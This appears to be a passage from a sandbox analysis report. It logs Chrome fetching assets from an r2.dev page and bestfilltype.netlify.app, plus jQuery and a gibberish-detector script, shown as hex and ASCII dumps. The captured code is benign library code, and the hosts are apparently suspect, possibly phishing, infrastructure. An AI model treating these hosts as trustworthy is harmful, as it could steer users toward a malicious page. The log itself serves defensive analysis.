3d 65 2e 70 6c 61 63 65 6d 65 6e 74 Data Ascii: indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(e,t){var o,i=t.offset,n=e.placement
2024-09-29 00:10:19 UTC	1369	IN	Data Raw: 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c 74 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 Data Ascii: ),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t)Object.prototype.hasOwnProperty.ca

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49720	18.192.94.96	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:10:20 UTC	619	OUT	GET /icon.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:10:20 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sun, 29 Sep 2024 00:10:20 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XHTAR5NG476RCG1HREVEQM Content-Length: 50 Connection: close
2024-09-29 00:10:20 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 48 54 41 52 35 4e 47 34 37 36 52 43 47 31 48 52 45 56 45 51 4d Data Ascii: Not Found - Request ID: 01J8XHTAR5NG476RCG1HREVEQM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49719	18.192.94.96	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:10:20 UTC	619	OUT	GET /logo.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:10:20 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sun, 29 Sep 2024 00:10:20 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XHTAS27Q9QE70BNYF40XEM Content-Length: 50 Connection: close
2024-09-29 00:10:20 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 48 54 41 53 32 37 51 39 51 45 37 30 42 4e 59 46 34 30 58 45 4d Data Ascii: Not Found - Request ID: 01J8XHTAS27Q9QE70BNYF40XEM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49725	185.199.108.153	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:10:21 UTC	585	OUT	GET /gibberish-detector.js/gibberish.min.js HTTP/1.1 Host: gtomitsuka.github.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:10:21 UTC	700	IN	HTTP/1.1 200 OK Connection: close Content-Length: 928 Server: GitHub.com Content-Type: application/javascript; charset=utf-8 permissions-policy: interest-cohort=() Last-Modified: Sun, 28 Jul 2019 00:43:06 GMT Access-Control-Allow-Origin: * ETag: "5d3cef9a-3a0" expires: Sat, 28 Sep 2024 23:09:01 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: FD25:946D5:253C7CE:29B609A:66F88A34 Accept-Ranges: bytes Age: 122 Date: Sun, 29 Sep 2024 00:10:21 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740038-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1727568622.716558,VS0,VE2 Vary: Accept-Encoding X-Fastly-Request-ID: fda8dbf1a29157bfbb33a987da4a4bfaf351e869
2024-09-29 00:10:21 UTC	928	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 68 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 63 2c 62 2c 61 29 7b 72 65 74 75 72 6e 20 63 3c 62 3f 28 61 3d 62 2d 63 2c 4d 61 74 68 2e 6c 6f 67 28 62 29 2f 4d 61 74 68 2e 6c 6f 67 28 61 29 2a 31 30 30 29 3a 63 3e 61 3f 28 62 3d 63 2d 61 2c 4d 61 74 68 2e 6c 6f 67 28 31 30 30 2d 61 29 2f 4d 61 74 68 2e 6c 6f 67 28 62 29 2a 31 30 30 29 3a 30 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 63 29 7b 66 6f 72 28 76 61 72 20 62 3d 7b 7d 2c 61 3d 22 22 2c 64 3d 30 3b 64 3c 63 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 63 5b 64 5d 69 6e 20 62 7c 7c 28 62 5b 63 5b 64 5d 5d 3d 31 2c 61 2b 3d 63 5b 64 5d 29 3b 72 65 74 75 72 6e 20 61 7d 68 2e 64 65 74 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 69 66 28 30 3d 3d 3d 63 2e 6c 65 6e 67 74 68 7c 7c 21 63 2e Data Ascii: (function(h){function e(c,b,a){return c<b?(a=b-c,Math.log(b)/Math.log(a)100):c>a?(b=c-a,Math.log(100-a)/Math.log(b)100):0}function k(c){for(var b={},a="",d=0;d<c.length;++d)c[d]in b\|\|(b[c[d]]=1,a+=c[d]);return a}h.detect=function(c){if(0===c.length\|\|!c.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49722	18.192.94.96	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:10:21 UTC	622	OUT	GET /confirm.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:10:22 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sun, 29 Sep 2024 00:10:22 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XHTCF0G1T3DKBG789EA06G Content-Length: 50 Connection: close
2024-09-29 00:10:22 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 48 54 43 46 30 47 31 54 33 44 4b 42 47 37 38 39 45 41 30 36 47 Data Ascii: Not Found - Request ID: 01J8XHTCF0G1T3DKBG789EA06G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49724	18.192.94.96	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:10:21 UTC	619	OUT	GET /full.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:10:22 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sun, 29 Sep 2024 00:10:22 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XHTCF9JPQGC6K95RB6ZV2Q Content-Length: 50 Connection: close
2024-09-29 00:10:22 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 48 54 43 46 39 4a 50 51 47 43 36 4b 39 35 52 42 36 5a 56 32 51 Data Ascii: Not Found - Request ID: 01J8XHTCF9JPQGC6K95RB6ZV2Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49723	18.192.94.96	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:10:21 UTC	624	OUT	GET /eye-close.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:10:22 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sun, 29 Sep 2024 00:10:22 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XHTCEZCFBDAWS7N1VTN00Y Content-Length: 50 Connection: close
2024-09-29 00:10:22 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 48 54 43 45 5a 43 46 42 44 41 57 53 37 4e 31 56 54 4e 30 30 59 Data Ascii: Not Found - Request ID: 01J8XHTCEZCFBDAWS7N1VTN00Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49721	18.192.94.96	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:10:21 UTC	619	OUT	GET /tada.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:10:22 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sun, 29 Sep 2024 00:10:22 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XHTCF1G1B7AR2KWQVG5P9W Content-Length: 50 Connection: close
2024-09-29 00:10:22 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 48 54 43 46 31 47 31 42 37 41 52 32 4b 57 51 56 47 35 50 39 57 Data Ascii: Not Found - Request ID: 01J8XHTCF1G1B7AR2KWQVG5P9W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49728	18.192.94.96	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:10:22 UTC	619	OUT	GET /icon.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:10:22 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sun, 29 Sep 2024 00:10:22 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XHTCNX2ZK1CQHAS90DPGA8 Content-Length: 50 Connection: close
2024-09-29 00:10:22 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 48 54 43 4e 58 32 5a 4b 31 43 51 48 41 53 39 30 44 50 47 41 38 Data Ascii: Not Found - Request ID: 01J8XHTCNX2ZK1CQHAS90DPGA8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49736	151.101.66.137	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:10:23 UTC	358	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:10:23 UTC	569	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1688007 Date: Sun, 29 Sep 2024 00:10:23 GMT X-Served-By: cache-lga21947-LGA, cache-nyc-kteb1890053-NYC X-Cache: HIT, HIT X-Cache-Hits: 2505, 0 X-Timer: S1727568624.672518,VS0,VE1 Vary: Accept-Encoding
2024-09-29 00:10:23 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2024-09-29 00:10:23 UTC	1378	IN	Data Raw: 3e 3d 30 26 26 63 3c 62 3f 5b 74 68 69 73 5b 63 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 68 2c 73 6f 72 74 3a 63 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 63 2e 73 70 6c 69 63 65 7d 2c 72 2e 65 78 74 65 6e 64 3d 72 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 68 3d 31 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6a 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 67 26 26 28 6a 3d 67 2c 67 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: >=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]\|\|{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments
2024-09-29 00:10:23 UTC	1378	IN	Data Raw: 6e 20 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 30 3b 69 66 28 77 28 61 29 29 7b 66 6f 72 28 63 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 63 3b 64 2b 2b 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 64 20 69 6e 20 61 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 61 7d 2c 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 22 22 3a 28 61 2b 22 22 29 2e Data Ascii: n a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").
2024-09-29 00:10:23 UTC	1378	IN	Data Raw: 61 72 72 61 79 22 3d 3d 3d 63 7c 7c 30 3d 3d 3d 62 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 62 3e 30 26 26 62 2d 31 20 69 6e 20 61 29 7d 76 61 72 20 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 70 2c 71 2c 72 2c 73 2c 74 2c 75 3d 22 73 69 7a 7a 6c 65 22 2b 31 2a 6e 65 77 20 44 61 74 65 2c 76 3d 61 2e 64 6f 63 75 6d 65 6e 74 2c 77 3d 30 2c 78 3d 30 2c 79 3d 68 61 28 29 2c 7a 3d 68 61 28 29 2c 41 3d 68 61 28 29 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 26 26 28 6c 3d 21 30 29 2c 30 7d 2c 43 3d 7b 7d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 44 3d 5b 5d 2c 45 3d 44 2e 70 6f 70 2c 46 3d 44 2e Data Ascii: array"===c\|\|0===b\|\|"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.
2024-09-29 00:10:23 UTC	1378	IN	Data Raw: 70 28 22 5e 22 2b 4b 2b 22 2a 5b 3e 2b 7e 5d 7c 3a 28 65 76 65 6e 7c 6f 64 64 7c 65 71 7c 67 74 7c 6c 74 7c 6e 74 68 7c 66 69 72 73 74 7c 6c 61 73 74 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 28 3f 3a 2d 5c 5c 64 29 3f 5c 5c 64 2a 29 22 2b 4b 2b 22 2a 5c 5c 29 7c 29 28 3f 3d 5b 5e 2d 5d 7c 24 29 22 2c 22 69 22 29 7d 2c 57 3d 2f 5e 28 3f 3a 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 29 24 2f 69 2c 58 3d 2f 5e 68 5c 64 24 2f 69 2c 59 3d 2f 5e 5b 5e 7b 5d 2b 5c 7b 5c 73 2a 5c 5b 6e 61 74 69 76 65 20 5c 77 2f 2c 5a 3d 2f 5e 28 3f 3a 23 28 5b 5c 77 2d 5d 2b 29 7c 28 5c 77 2b 29 7c 5c 2e 28 5b 5c 77 2d 5d 2b 29 29 24 2f 2c 24 3d 2f 5b 2b 7e 5d 2f 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 28 5b 5c 5c 64 61 Data Ascii: p("^"+K+"[>+~]\|:(even\|odd\|eq\|gt\|lt\|nth\|first\|last)(?:\$"+K+"((?:-\\d)?\\d)"+K+"\$\|)(?=[^-]\|$)","i")},W=/^(?:input\|select\|textarea\|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)\|(\w+)\|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da
2024-09-29 00:10:23 UTC	1378	IN	Data Raw: 5b 33 5d 29 26 26 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 72 65 74 75 72 6e 20 47 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 66 29 29 2c 64 7d 69 66 28 63 2e 71 73 61 26 26 21 41 5b 61 2b 22 20 22 5d 26 26 28 21 71 7c 7c 21 71 2e 74 65 73 74 28 61 29 29 29 7b 69 66 28 31 21 3d 3d 77 29 73 3d 62 2c 72 3d 61 3b 65 6c 73 65 20 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7b 28 6b 3d 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 6b 3d 6b 2e 72 65 70 6c 61 63 65 28 62 61 2c 63 61 29 3a 62 2e 73 65 74 Data Ascii: [3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q\|\|!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.set
2024-09-29 00:10:23 UTC	1378	IN	Data Raw: 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 69 73 44 69 73 61 62 6c 65 64 3d 3d 3d 61 7c 7c 62 2e 69 73 44 69 73 61 62 6c 65 64 21 3d 3d 21 61 26 26 65 61 28 62 29 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 22 6c 61 62 65 6c 22 69 6e 20 62 26 26 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 29 7b 72 65 74 75 72 6e 20 69 61 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 3d 2b 62 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 2c 66 3d 61 28 5b 5d 2c 63 2e 6c 65 6e 67 74 68 2c 62 29 2c 67 3d 66 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 67 2d 2d 29 63 5b 65 3d 66 5b 67 5d 5d 26 26 28 63 5b 65 5d 3d 21 28 64 5b 65 Data Ascii: e.disabled===a:b.disabled===a:b.isDisabled===a\|\|b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e
